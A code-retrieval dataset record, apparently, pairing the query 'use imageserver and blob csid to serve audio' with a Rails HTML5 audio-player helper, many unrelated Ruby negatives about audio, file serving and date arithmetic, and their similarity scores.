hours_until_next_allowed\n ((created_at - RECENT_PERIOD.ago) / 3600).to_i\n end", "def hours_until_next_allowed\n ((created_at - RECENT_PERIOD.ago) / 3600).to_i\n end", "def days() 24 * hours end", "def next_day(date, number_of_day)\n date += 1 + (((number_of_day-1)-date.wday) % 7)\n end", "def tomorrow()\n \n self.day(Time.now + 1.days)\n \n end", "def add_days(date, n)\n date + n * DAY\n end", "def succ\n next_hour = Hour.new(\"12 AM\")\n\n next_time = (@hour + 1) % 24\n next_hour.instance_eval { @hour = next_time }\n #puts \" succ called: next_hour is #{next_hour}, #{@hour}, #{next_time}\"\n next_hour\n end", "def date_of_next(day)\n\t day_required = DateTime.parse(day)\n\t delta = day_required > DateTime.now ? 0 : 7\n\t (day_required + delta)\n\tend", "def date_of_next(day)\r\n date = Date.parse(day)\r\n delta = date > Date.today ? 0 : 7\r\n date + delta\r\nend", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n end", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\nend", "def expire!\n self.expires_on = 24.hours.until(Date.today)\n self.save!\n end", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n Chronic.parse(\"0 next #{day}\").to_datetime\n end", "def tomorrow(time = Time.now, options = {})\n by_day(time.advance(:days => 1), options)\n end", "def reschedule_at(current_time, attempts)\n current_time + ((attempts**4) + 1).hours\n end", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n\n return date + delta\n end", "def next_game_date(date_time, wday)\n date_time += 1 until (wday == date_time.wday &&\n !@exclude_dates.include?(date_time)) || @include_dates.include?(date_time)\n date_time\n end", "def tomorrow(time = Time.zone.now, options = {}, &block)\n time = parse(time)\n by_day(time.advance(:days => 1), options, &block)\n end", "def offset_date(ref_date, offset)\n return ref_date if offset.zero?\n trading_day_count = ((1.day / bars_per_day ) * offset) /1.day\n new_date = Timeseries.trading_date_from(ref_date, trading_day_count)\n return new_date if new_date.is_a? Date\n new_date = new_date.change(:hour => 6, :min => 30) unless new_date.zone.first == 'E' #Eastern Time\n new_date\n end", "def schedule_updates\n schedule_updates_in(24.hours, 48.hours)\n end", "def appt_reminder_email_time\n if self.start_time.to_date > (self.created_at.to_date + 1)\n self.start_time - 12.hours\n end\n end", "def advance_actionable_date\n create_and_emit_event(type: 'subscription_resumed') if paused?\n\n update! actionable_date: next_actionable_date, paused: false\n\n actionable_date\n end", "def next_game_date(dt, wday)\n dt += 1 until (wday == dt.wday && !@exclude_dates.include?(dt)) || @include_dates.include?(dt)\n dt\n end", "def advance_to_date(date)\n VoltTime.new(:utc, date.year, date.month, date.day, hour, min, sec + (usec/1.0e6))\n end", "def next_actionable_date\n return nil unless active?\n\n new_date = actionable_date || Time.zone.today\n\n new_date + interval\n end", "def tomorrows_date\n Date.today + 1.day\n end", "def next_working_day(date_time)\n date_time = date_time + 1\n while !working_day?(date_time)\n date_time = date_time + 1\n end\n date_time\n end", "def end_of_day\n change(:hour => 23, :min => 59, :sec => 59, :usec => 999999.999)\n end", "def advance_by_a_day\n scheduler = Scheduler.new(tasks, user_preferences)\n tasks_and_time = scheduler.call\n\n advanced_tasks = tasks_and_time.map do |task, time_to_advance|\n task.running_calculation ||= task.completed_hours\n task.running_calculation += time_to_advance\n task\n end\n\n @tasks = advanced_tasks.reject do |task|\n task.running_calculation >= task.estimated_hours\n end + tasks.reject do |task|\n advanced_tasks.map(&:id).include? task.id\n end\n\n tasks_and_time\n end", "def next_working_date(date)\n cwday = date.cwday\n days = 0\n while non_working_week_days.include?(((cwday + days - 1) % 7) + 1)\n days += 1\n end\n date + days\n end", "def next_occurring(day_of_week)\n from_now = DAYS_INTO_WEEK.fetch(day_of_week) - wday\n from_now += 7 unless from_now > 0\n advance(days: from_now)\n end", "def next_hour(time, time_source = nil)\n seconds_left = time.to_i % 3600\n \n time + (seconds_left > 0 ? seconds_left : 3600)\n end", "def find_next_day\n day = @date.to_date + ((@schedule.start_date - @date.to_date) % @schedule.period_num)\n return day\n end", "def nextTime(time = nil)\n time = Utils::Time.current if time.nil?\n if true # time < expiryTime\n if remindable && remindTime\n remindTime\n else\n time + 10 * 365 * 24 * 60 * 60\n end\n else\n time + 10 * 365 * 24 * 60 * 60\n end\n end", "def working_date(date)\n offset = case date.wday\n when 2..6 then 1\n when 1 then 3\n when 0 then 2\n end\n\n date - offset\n end", "def add_seconds(date, secs)\n date + Rational(secs, 60 * 60 * 24)\n end", "def next_day\r\n if @next_day.nil?\r\n @next_day = convert_day_to_date(current_day).tomorrow.strftime('%Y%m%d')\r\n end\r\n @next_day\r\n end", "def expire_time\n updated_at.advance(:days => 30)\n end", "def get_next_date_for_next_weekday(week_day)\n DateTime.now + days_to_add(week_day)\nend", "def advance(options)\n options = options.dup\n d = self\n d = d >> options.delete(:years) * 12 if options[:years]\n d = d >> options.delete(:months) if options[:months]\n d = d + options.delete(:weeks) * 7 if options[:weeks]\n d = d + options.delete(:days) if options[:days]\n d\n end", "def next_opens\n opening_time.advance(weeks: 1)\n end", "def inc( date ) \n rounded_date = round( date ) \n begin\n @sequence[ rounded_date ] += 1\n rescue NoMethodError # can't add one to nil\n self << rounded_date # sweeps cache\n retry\n else \n @values = nil # sweep cache \n end \n end", "def adjust_dates(date)\n first_date = planned.minimum(:actual_date)\n if first_date && first_date < date\n gap = date - first_date\n planned.each do |repetition|\n repetition.increment!(:actual_date, gap)\n end\n end \n end", "def addDays(date)\n\n #puts 'in addDays'\n #puts date\n if date.saturday? then\n #puts \"sat\"\n date1 = date.next_day(7)\n return date1\n elsif date.sunday? then\n #puts \"sun\"\n date1 = date.next_day(8)\n return date1\n else\n #puts 'other'\n date1 = date.next_day(7)\n end\n return date1\n end", "def try_add_entry(entry, idx, lines)\n\t\tduration = entry.hours\n\t\tstart_hours = entry.eventdate.startdate.hour + entry.eventdate.startdate.min/60.0\n\t\treturn false if duration > 24\n\t\t# check if there is any entry on this day\n\t\tif lines[idx].nil?\n\t\t\t# if the start time plus the duration would put the end time on the\n\t\t\t# next day, adjust the times forward so the end time is at 24:00.\n\t\t\tif start_hours+duration > 24\n\t\t\t\tlines[idx] = [24 - duration, 24]\n\t\t\telse\n\t\t\t\tlines[idx] = [start_hours, start_hours + duration]\n\t\t\tend\n\t\telse\n\t\t\t# calculate how much time is currently billed on this day\n\t\t\texisting_duration = lines[idx][1] - lines[idx][0]\n\t\t\treturn false if duration + existing_duration > 24\n\t\t\t# check if the entry we're adding starts before (2nd case) or after\n\t\t\t# (1st case) the entry already on this day\n\t\t\tif start_hours >= lines[idx][0]\n\t\t\t\tif lines[idx][1] + duration > 24\n\t\t\t\t\tlines[idx] = [24 - (duration + existing_duration), 24]\n\t\t\t\telse\n\t\t\t\t\tlines[idx][1] = lines[idx][0] + duration + existing_duration\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif start_hours + existing_duration + duration > 24\n\t\t\t\t\tlines[idx] = [24 - (duration + existing_duration), 24]\n\t\t\t\telse\n\t\t\t\t\tlines[idx] = [start_hours, start_hours + duration + existing_duration]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend", "def advance(options)\r\n d = ::Date.new(year + (options.delete(:years) || 0), month, day)\r\n d = d >> options.delete(:months) if options[:months]\r\n d = d + options.delete(:days) if options[:days]\r\n d\r\n end", "def test_datetime_plus_number()\n sec_delta = 5 # Between 0 and 49\n min_delta = 10 # Between 0 and 29\n hour_delta = 1 # Between 0 and 42\n day_delta = 3 # Between 0 and 23\n datetime = @ad_manager.datetime(\n 2017, 11, 7, 17, 30, 10, 'America/New_York'\n )\n datetime = datetime + sec_delta + min_delta * 60 + hour_delta * 60 * 60 +\n day_delta * 60 * 60 * 24\n assert_equal(2017, datetime.year)\n assert_equal(11, datetime.month)\n assert_equal(7 + day_delta, datetime.day)\n assert_equal(17 + hour_delta, datetime.hour)\n assert_equal(30 + min_delta, datetime.min)\n assert_equal(10 + sec_delta, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n assert_true(datetime.is_a? AdManagerApi::AdManagerDateTime)\n end", "def get_next_date\n today_wday = Date.today.wday\n wday_s = get_weekday(limit_weekday_start)\n wday_e = get_weekday(limit_weekday_end)\n if(wday_s < wday_e)\n if(today_wday > wday_e or today_wday < wday_s or(today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = (wday_s + 7 - today_wday)%7\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = wday_e - today_wday\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n else\n if((wday_e < today_wday and today_wday < wday_s) or (today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = wday_s - today_wday\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = (wday_e + 7 - today_wday)%7\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n end\n end", "def noon(date)\n date.to_time + 12 * 60 * 60\nend", "def add_days(count)\n 24*60*60*count.to_i\n end", "def next_day(time, day, future: true)\n time.is_a?(String) && time = ::Time.zone.parse(time)\n from = ::Date::DAYS_INTO_WEEK[day_name] * SECONDS\n days = ::Date::DAYS_INTO_WEEK[day.to_sym]\n to = (future && days.zero? ? 7 : days) * SECONDS\n\n ::Time.zone.today.beginning_of_day\n .advance(seconds: (to - from) + time.seconds_since_midnight)\n end", "def advance ( delta=0 ) \n @actual += delta\n @current = @actual + offset\n @current_offset = @current.to_i/60 - @actual.to_i/60\n @updated = Time.new\n @update_count += 1\n self\n end", "def next!\n if @date.month + 1 > 12\n @date = Date.new(@date.year+1,@date.month,1)\n else\n @date = Date.new(@date.year,@date.month+1,1)\n end\n end", "def middle_of_day\n change(hour: 12)\n end", "def middle_of_day\n change(hour: 12)\n end", "def start_time\n date.to_time + kickoff_time.hour.hours\n end", "def next_week(day = :monday)\n days_into_week = { :monday => 0, :tuesday => 1, :wednesday => 2,\n :thursday => 3, :friday => 4, :saturday => 5,\n :sunday => 6 }\n since(1.week).beginning_of_week.since(days_into_week[day].day).change(:hour => 0)\n end", "def check_dates\r\n self.start_time -= 8.hours\r\n self.end_time -= 8.hours\r\n end", "def push_next_try_at\r\n self.next_try_at = 15.minutes.from_now\r\n end", "def increment_time\n @now += 1.minute\n end", "def tomorrow\n self.since(1.day)\n end", "def move_worktime_to_another_day(date, duration=0)\n person = self.presence.person\n presence = person.presences.find_by_presence_date(date)\n unless presence\n presence = person.presences.new\n presence.presence_date = date\n presence.company_id = person.company_id\n end\n presence.presence_length_in_hours += (self.end_working - self.start_working)/3600.to_f\n presence.paid_hours = presence.presence_length_in_hours\n self.save!\n end", "def set_expiring_date\n self.expires_at = self.created_at + 10.minutes\n self.save\n end", "def tomorrow\n Date.today + 1\nend", "def get_date(day, hours)\n current_time = Time.new #(2015,7,26) Preset date for testing. Should be current time\n if day.to_i > current_time.day\n month = current_time.month\n year = current_time.year\n else\n if current_time.month + 1 > 12\n month = 1\n year = current_time.year + 1\n else\n month = current_time.month + 1\n year = current_time.year\n end\n end\n year = year.to_i\n month = month.to_i\n day = day.to_i\n hours = hours.split('-')\n hours.map { |str| str.gsub!(/\\s+/, \"\") } #removes all white space\n hours[0] = ((hours[0].to_i != 12 && hours[0].to_i > 6) ? hours[0] + \"am\" : hours[0] + \"pm\") #adjusts hours to a 24 hour clock. Pivots at 6\n hours[1] = (hours[1].downcase.include?(\"close\") ? \"8pm\" : hours[1] + \"pm\") #sets \"close\" to be 8pm\n hours.map! { |time| DateTime.parse(time).strftime(\"%H:%M:%S\") }\n start_time = DateTime.parse(\"#{year}-\" + sprintf(\"%02d\", month) + \"-\" + sprintf(\"%02d\", day) + \"T#{hours[0]}\" + \"-0700\")\n end_time = DateTime.parse(\"#{year}-\" + sprintf(\"%02d\", month) + \"-\" + sprintf(\"%02d\", day) + \"T#{hours[1]}\" + \"-0700\")\n return { :start => start_time, :end => end_time }\nend", "def tomorrow\n ::Date.current.tomorrow\n end", "def days ; self * 24.hours ; end", "def midnight_tonight\n (Time.now.to_date + 1).to_time\nend", "def time day = 0\n tn = Time.now + (60*60*24*day)\n tn.strftime(\"%Y-%m-%d %H:%M:%S\")\nend", "def estimated_end_date\n start_date + 12.days\n end", "def tomorrow\n today + 1\n end", "def next_sunday(due_to_date)\n\t\t\tright_now = Time.zone.now\n\t\t\tright_now += 6.days if right_now <= due_to_date # approximation should be fine, ignore edge cases for now\n return right_now + (7 - right_now.wday).days + (22 - right_now.hour).hours + (0 - right_now.min).minutes + (0 - right_now.sec).second\n\t end", "def advance\n if @days_until_next <= 0\n @state = :shock\n @days_until_next = @rng.call\n else\n @state = :normal\n @days_until_next -= 1\n end\n end", "def duration_datetime\n scheduled_datetime + 1.hour\n end", "def incre_index_for_cur_day\n\t$index_of_cur_day = (get_index_of_cur_day + 1).modulo($num_days_per_wk)\nend", "def appt_follow_up_email_time\n self.start_time + 4.hours\n end", "def hours\n Thread.current[:datet_mode] = :hours\n return self\n end", "def find_hour(hours)\n if hours >= 0\n hours % 24\n else\n until hours >= 0\n hours += 24\n end\n hours\n end\nend", "def lazy_hour=(newhour)\n newhour = newhour.to_f\n \n #Add days for every 24 hours given.\n if newhour > 24 or newhour < 0\n days = (newhour.to_f / 24.0).floor\n newhour -= (days.to_f * 24.0)\n self.add_days(days)\n end\n \n #Convert any decimals to setting minute.\n diff = newhour - newhour.floor\n self.lazy_min = diff * 60 if diff > 0.0\n \n #Set the actual hour.\n self.hour = newhour.floor\n \n self\n end", "def hours_to_days(hours)\n hours / 24\nend", "def expire_date_for_start_date(start_date)\n start_date + 1.year - 1.day\n end", "def advance_by(time)\n dt = @clock + time\n\n due_to_clock = dt<=>@clock\n raise 'Time is out of range' if due_to_clock < 0\n\n return if due_to_clock == 0\n raise 'Cannot advance while running' if @enabled\n\n self.advance_to dt\n end", "def next_anniversary_date\n while (@due_date <= Date.today)\n @due_date = Date.new(@year += 1, @month, @day)\n end\n end" ]
[ "0.69941074", "0.6841838", "0.67930883", "0.6630433", "0.6575559", "0.6570724", "0.6570724", "0.6464861", "0.6400233", "0.63858587", "0.63757384", "0.635167", "0.6309209", "0.6257211", "0.6196842", "0.60889256", "0.60845995", "0.6080924", "0.6080924", "0.606035", "0.6031458", "0.59740645", "0.59565234", "0.59382194", "0.5934178", "0.58891994", "0.58859277", "0.5838189", "0.5832161", "0.5830011", "0.5808171", "0.5769319", "0.5752667", "0.5740916", "0.57284516", "0.57104284", "0.57071894", "0.5700129", "0.56988376", "0.5693612", "0.5692218", "0.5618376", "0.55995595", "0.55932796", "0.55931246", "0.55887884", "0.5578791", "0.5567529", "0.5564138", "0.55459267", "0.5540619", "0.55168986", "0.5515022", "0.54831624", "0.54635614", "0.54635483", "0.5442001", "0.54418814", "0.5434292", "0.5414034", "0.54050046", "0.5399583", "0.539766", "0.5392058", "0.5390182", "0.5389896", "0.53682286", "0.53632414", "0.5363235", "0.5358306", "0.5355539", "0.5355539", "0.53531754", "0.53257143", "0.5323264", "0.5320009", "0.53150415", "0.5301568", "0.5266439", "0.52663946", "0.5266039", "0.5260193", "0.52574", "0.5256974", "0.52527285", "0.5250257", "0.52443326", "0.5239188", "0.5231586", "0.52135986", "0.5210991", "0.5203061", "0.519802", "0.518326", "0.51788694", "0.5172758", "0.5166631", "0.5160543", "0.51594883", "0.5156096" ]
0.7098298
0
use imageserver and blob csid to serve audio
def render_audio_csid options={} # render audio player content_tag(:div) do options[:value].collect do |audio_csid| content_tag(:audio, content_tag(:source, "I'm sorry; your browser doesn't support HTML5 audio in MPEG format.", src: "https://webapps.cspace.berkeley.edu/#TENANT#/imageserver/blobs/#{audio_csid}/content", id: 'audio_csid', type: 'audio/mpeg'), controls: 'controls', style: 'height: 60px; width: 640px;') end.join.html_safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def audio; end", "def audio_url(source, options = T.unsafe(nil)); end", "def send_data(s, data)\n\n if USE_MP3\n audio_data = `echo '#{data}' | base64 --decode | sox -r 8000 -c 1 -e mu-law -t raw - -r 48000 -c 1 -t mp3 -`\n else\n audio_data = `echo '#{data}' | base64 --decode | opusenc --quiet --raw --raw-bits 8 --raw-rate 8000 --raw-chan 1 --bitrate 96 - -`\n end\n m = ShoutMetadata.new\n m.add 'filename', \"e#{5}_#{SecureRandom.urlsafe_base64}.mp3\"\n m.add 'title', \"My episode\"\n m.add 'artist', \"Mo\"\n s.metadata = m\n s.send audio_data\n s.sync\n\nend", "def play\n path=\"\"\n @song = Song.where(:id=>params[:id]).first\n @audio = @song.audio\n @audio_path = @audio.id.to_s+\".mp3\"\n @audioimage_path = audioimagepath(@audio)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def url_to_audio(source, options = T.unsafe(nil)); end", "def render_audio_directly options={}\n # render audio player\n content_tag(:div) do\n options[:value].collect do |audio_md5|\n l1 = audio_md5[0..1]\n l2 = audio_md5[2..3]\n content_tag(:audio,\n content_tag(:source, \"I'm sorry; your browser doesn't support HTML5 audio in MPEG format.\",\n src: \"https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{audio_md5}\",\n id: 'audio_md5',\n type: 'audio/mpeg'),\n controls: 'controls',\n style: 'height: 60px; width: 640px;')\n end.join.html_safe\n end\n end", "def download\n @audio = Audio.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"+@audio.audio.url.split(\"?\")[0], :disposition => 'inline', :stream => false)\n end", "def main_audio ; end", "def image_server\r\n server = config[:image_server]\r\n if server.is_a? String\r\n server = { server: server }\r\n server[:protocol] = \"simplestreams\" if server[:server].split(\":\", 3)[2].nil?\r\n end\r\n server\r\n end", "def send_thumbnail\n response.set_header('Access-Control-Allow-Origin', '*')\n response.headers[\"Last-Modified\"] = Time.now.httpdate.to_s\n response.headers[\"Content-Type\"] = 'image/jpeg'\n response.headers[\"Content-Disposition\"] = 'inline'\n path = Hyrax::DerivativePath.derivative_path_for_reference(identifier, 'thumbnail')\n begin\n IO.foreach(path).each do |buffer|\n response.stream.write(buffer)\n end\n ensure\n response.stream.close\n end\n end", "def show\n path=\"\"\n @song = Song.where(:id=>params[:id]).first\n @user = @song.user\n @audio = @song.audio\n @audio_path = @audio.id.to_s+\".mp3\"\n @audioimage_path = audioimagepath(@audio)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def path_to_audio(source, options = T.unsafe(nil)); end", "def songs\n<<<<<<< HEAD\n file=\"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\"\n if File.exists?(file)\n send_file(\n file,\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n else\n render nothing: true\n end\n=======\n send_file(\n \"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\",\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n>>>>>>> b71dc3f177d170c9fc8bde7924fd28f948e88acc\n end", "def audio_path(source, options = T.unsafe(nil)); end", "def show\n\ttrack = Track.find(params[:id])\n\n\tstream_url = track.stream_url ? track.stream_url : ''\n\tfilename = track.artist.name + ' - ' + track.title\n\n\tdownloader = SoundCloud::Downloader::Client.new(client_id: \"e713c46023d1b1d92c262e6ba915d4d0\")\n\turl = downloader.resolve(stream_url)\n\n\n\n\t# Makes the browser download the file\n\tsend_data open(url).read,\n\t\t:type => \"audio/mpeg\",\n\t\t:disposition => \"attachment; filename=\\\"#{filename}.mp3\\\"\"\n end", "def audio\n first_stream_of :audio\n end", "def play\n voice = User.find_by(id: current_user.id).tts_voice\n logger.info '================ START TTS ==============='\n answer_audio_file = TtsService.call(@entry, voice)\n logger.info '================ END TTS ==============='\n respond_to do |format|\n format.html do\n response.headers[\"Cache-Control\"] = \"no-cache, no-store\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Mon, 01 Jan 1990 00:00:00 GMT\"\n expires_in 1.seconds, public: true\n send_file(answer_audio_file, type: 'audio/mpeg', disposition: 'inline')\n end\n end\n end", "def audio_path(source)\n compute_public_path(source, 'audios')\n end", "def audios_test\n end", "def send_audio(url, name, audio_info = {})\n client.api.send_content(id, url, name, 'm.audio', extra_information: audio_info)\n end", "def audio_path\n #TODO change path after Yura send information\n \"/audio/success.wav\"\n end", "def audio\n @audio ||= URI.parse(\"#{AUDIO_SERVICE_URL}/#{@language.slug}/#{URI::encode(@text)}.mp3\")\n end", "def show\n @call = Call.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @call }\n format.oga {\n if @call.audio\n send_file @call.audio.data.path, :type => @call.audio.data_content_type, :disposition => 'inline'\n else\n redirect_to :status => 404\n end\n }\n end\n end", "def save_audio(url, sid)\n\t# Name the file with the RecordingSid from Twilio\n\twavfile = \"/tmp/#{sid}.wav\"\n\tFile.open(wavfile, \"wb\") do |file|\n\t\tfile.write open(url).read\n\tend\n\treturn wavfile\nend", "def stream\n begin\n # lookup the entry requested\n entry = Entry.find(params[:id])\n\n # send the associated file directly to the response\n send_file(entry.path, type: 'audio/mpeg', filename: params[:id])\n\n rescue RecordNotFound, MissingFile\n # if record or file missing, return 404\n render(status: 404)\n end\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{BRIDGE_PATH}/#{id}/audio\"), data)[0]\n end", "def serve\n @photo = User.find(params[:user_id])\n send_data(@photo.data, :type => @photo.mime_type, \n :filename => \"#{@photo.filename}.jpg\",\n :disposition => \"inline\")\n\n\n # send_file(\"./public/uploads/#{@user.filename}\",\n # type: @user.mime_type,\n # disposition: 'inline' )\n end", "def http_audio_url\n https_audio_url.gsub(/\\Ahttps/, 'http')\n end", "def send_image\n @iiif_url ||= iiif_url\n Rails.logger.info(\"Trying to proxy image from #{@iiif_url}\")\n response.set_header('Access-Control-Allow-Origin', '*')\n stream_response(response)\n end", "def http_test_3\n File.open('http_test_3.mp4', 'wb') do |f|\n f.write RestClient.get(URL)\n end\nend", "def sound; end", "def play socket\n end", "def get_audio_samples \n send_cmd(\"get_audio_samples\")\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/audio\"), data)[0]\n end", "def audio\n @audio ||= (\n id = @params[:audio_track]\n ::Audio.find(id) if id\n )\n end", "def set_audio\n @audio = Audio.find(params[:id])\n end", "def http_test_4\n Net::HTTP.start('download.openbricks.org') do |http|\n f = File.open('http_test_4.mp4', 'wb')\n begin\n http.request_get('/sample/H2645/big_buck_bunny_480p_H264_AAC_25fps_1800K.MP4') do |resp|\n resp.read_body do |segment|\n f.write segment\n end\n end\n ensure\n f.close\n end\n end\nend", "def set_audio_upload\n @audio_upload = AudioUpload.find(params[:id])\n end", "def set_audio\n @audio = Audio.find(params[:id])\n end", "def audio_gen(slide)\n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n file_name = file_name_gen(slide, \".WAV\")\n say = command_arg('[[slnc 1000]]' + slide['script'] + '[[slnc 1000]]')\n output = command_arg(file_name)\n `say -v Jill #{say} -o #{output}`\n slide['audio'] = file_name\nend", "def sample\n img :src => $imgHostURL + \"/\" + $sampleImg\n end", "def bridge_play bridge_id, audio\n post \"bridges/#{bridge_id}/audio\", audio.to_hash\n\n nil\n end", "def show\n @song = Song.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n format.mp3 {\n file = File.read(@song.location)\n send_data(file, :type => \"audio/mpeg\", :filename => \"#{@song.id}.mp3\", :disposition => \"inline\")\n }\n end\n end", "def soundcloud_url; \"https://soundcloud.com/#{soundcloud}\" end", "def show\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n # format.json { render json: {:talk => @talk, :audio => @talk.audio} }\n format.json { send_file @talk.audio.path, :type => \"audio/mp3\"}\n end\n end", "def public_file_server; end", "def public_file_server; end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CALL_PATH}/#{id}/audio\"), data)[0]\n end", "def get_audio_codec \n send_cmd(\"get_audio_codec\")\n end", "def get_audio_clips\n s3 = AWS::S3.new(\n :access_key_id => Rails.application.secrets.AWS_ACCESS_KEY_ID,\n :secret_access_key => Rails.application.secrets.AWS_SECRET_ACCESS_KEY)\n\n record_beacon_id = Beacon.where(:installation_id => @installation.id).where(:content_type => 'record-audio').first.id\n\n prefix = \"#{@customer.id}\" + '/' + \"#{@installation.id}\" + '/' + \"#{record_beacon_id}\"\n\n audio_clips = s3.buckets['lufthouse-memories'].objects.with_prefix(prefix).collect(&:key)\n\n audio_clip_URLs = Array.new\n\n unless audio_clips == []\n audio_clips.each do |f|\n audio_clip_URLs << \"https://s3.amazonaws.com/lufthouse-memories/\" + f\n end\n end\n\n return audio_clip_URLs.shuffle\n \n end", "def playback \n @queue.subscribe(:consumer_tag => @hwaddr) do |msg|\n count = @queue.default_consumer.message_count\n content = msg[:payload]\n puts content.class\n #if content is a integer, then it is a volume change message.\n if content.is_a?(Fixnum) or content.length <=3\n set_system_volume content\n else\n filename = save_file content\n play_file filename, count\n end\n end\n end", "def audio\n \t@playlist = Playlist.last\n send_glued_audio('list', :playlist => @playlist)\n end", "def audio_tag(*sources); end", "def download\n get_metadata\n check_prog_id\n generate_filename\n download_stream\n ffmpeg\n tag\n cleanup\n end", "def aliquot_media()\r\n reps = 1 # operations.collect {|op| op.input(PARAMETER_1).val.to_i} ### Will become a parameter that will allow for replicates flexablity\r\n media_vol = (operations.length * 1.1 * reps).round()\r\n \r\n # Aliquot media needed for experiment\r\n show do\r\n title \"Media preparation in media bay\"\r\n \r\n check \"Slowly shake the bottle of 800 mL SC liquid (sterile) media to make sure it is still sterile!!!\"\r\n check \"Aliquot #{media_vol}mLs of SC media in #{falcon(media_vol)} 50mL Falcon tubes.\"\r\n end\r\n end", "def embed(src, mime_type, label)\nend", "def upload_recordings(vbsdk, dir)\n filepath = File.join(dir, 'recording_*.mp3')\n Dir.glob(filepath).each_with_index do |file, _i|\n puts file\n res = vbsdk.upload_media(filePath: file, fileContentType: 'audio/mpeg', desc: 'myfile')\n pp res.body\n puts res.status\n end\nend", "def background(audio, digits='')\n result = nil\n if audio.class == Array then\n audio.each do |file|\n begin\n result = stream_file(file, digits)\n rescue AGITimeoutError, AGICommandError, AGIHangupError, AGIChannelError\n raise\n end\n return result unless result.success?\n return result if result.data\n end\n return result\n elsif audio.class == String then\n begin\n result = stream_file(audio, digits)\n rescue AGITimeoutError, AGICommandError, AGIHangupError, AGIChannelError\n raise\n end\n end\n end", "def get_audio\n return @audio\n end", "def store_dir\n Rails.root.to_s + \"/audio/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def serve_image\n\n # http://stackoverflow.com/questions/9462785/referencing-model-with-string-input\n # https://github.com/carrierwaveuploader/carrierwave/issues/614\n # model.avatar.file.filename\n # model[:avatar]\n # model.avatar_identifier\n # File.basename(model.file.path)\n\n\n if params[:id] && params[:model] && params[:type] && params[:id_image] && params[:uploader]\n\n model = params[:model].singularize.classify.constantize.find(params[:id_image])\n name = model.read_attribute(params[:uploader].to_s)\n image_name = \"#{params[:type]}_#{name}\"\n\n image_path = File.join(Rails.root,\"images\",Rails.env, params[:model], params[:uploader], params[:id_image],image_name)\n\n unless send_file( image_path,disposition: 'inline', type: 'image/jpeg', x_sendfile: true )\n return \"some default image\" # ensure views have css defining the size of thumbnail, that way default image is the proper size\n end\n end\n\n end", "def audio_url_chartable\n ENV['CHARTABLE_ID'].nil? ? @audio_url : @audio_url.gsub('https://', \"https://chtbl.com/track/#{ENV['CHARTABLE_ID']}/\")\n end", "def captions\n authorize! :read, @master_file\n ds = @master_file.captions\n if ds.nil? || ds.empty?\n render plain: 'Not Found', status: :not_found\n else\n send_data ds.content, type: ds.mime_type, filename: ds.original_name\n end\n end", "def sound\n raise NotImplementedError\n end", "def play\n\t\treturn \"stoffi:track:youtube:#{youtube_id}\" if youtube?\n\t\treturn \"stoffi:track:soundcloud:#{soundcloud_id}\" if soundcloud?\n\t\treturn url\n\tend", "def bubble_sound\n pid = fork{exec 'afplay', \"lib/Large_bubble_sound.mp3\"}\n end", "def send_blob_stream(blob, disposition: nil) #:doc:\n send_stream(\n filename: blob.filename.sanitized,\n disposition: blob.forced_disposition_for_serving || disposition || DEFAULT_BLOB_STREAMING_DISPOSITION,\n type: blob.content_type_for_serving) do |stream|\n blob.download do |chunk|\n stream.write chunk\n end\n end\n end", "def serve_asset(asset_name)\n asset_path = local_asset_path(asset_name)\n\n # Rudimentary mime type detection\n mime = 'application/octet-stream'\n map = {\n 'ico' => 'image/vnd.microsoft.icon',\n 'png' => 'image/png',\n 'css' => 'text/css'\n }\n\n ext = ::File.extname(asset_name)[1..-1]\n mime = map[ext] if map.key?(ext)\n\n @server.http_response.update_header('Content-Type', mime)\n @server.http_response.update_header('Content-Length', ::File.size(asset_path))\n @server.http_response.update_header('Cache-Control', 'public, max-age=1209600')\n @server.http_response.status = 200\n @server.http_response.body = ::File.open(asset_path, 'r')\n end", "def play\n Audio::Out.add @cpg\n @is_playing = true\n #Audio::Out.add @actuator\n end", "def make\n App.out.make_audio_file\nend", "def check_audio\n post(:action => \"check-audio\")\n end", "def process_audio\n `ffmpeg -y #{debug_settings} -i #{@filename} -c:a libfdk_aac -b:a 128k -vn #{audio_filepath}`\n `mp4fragment #{audio_filepath} 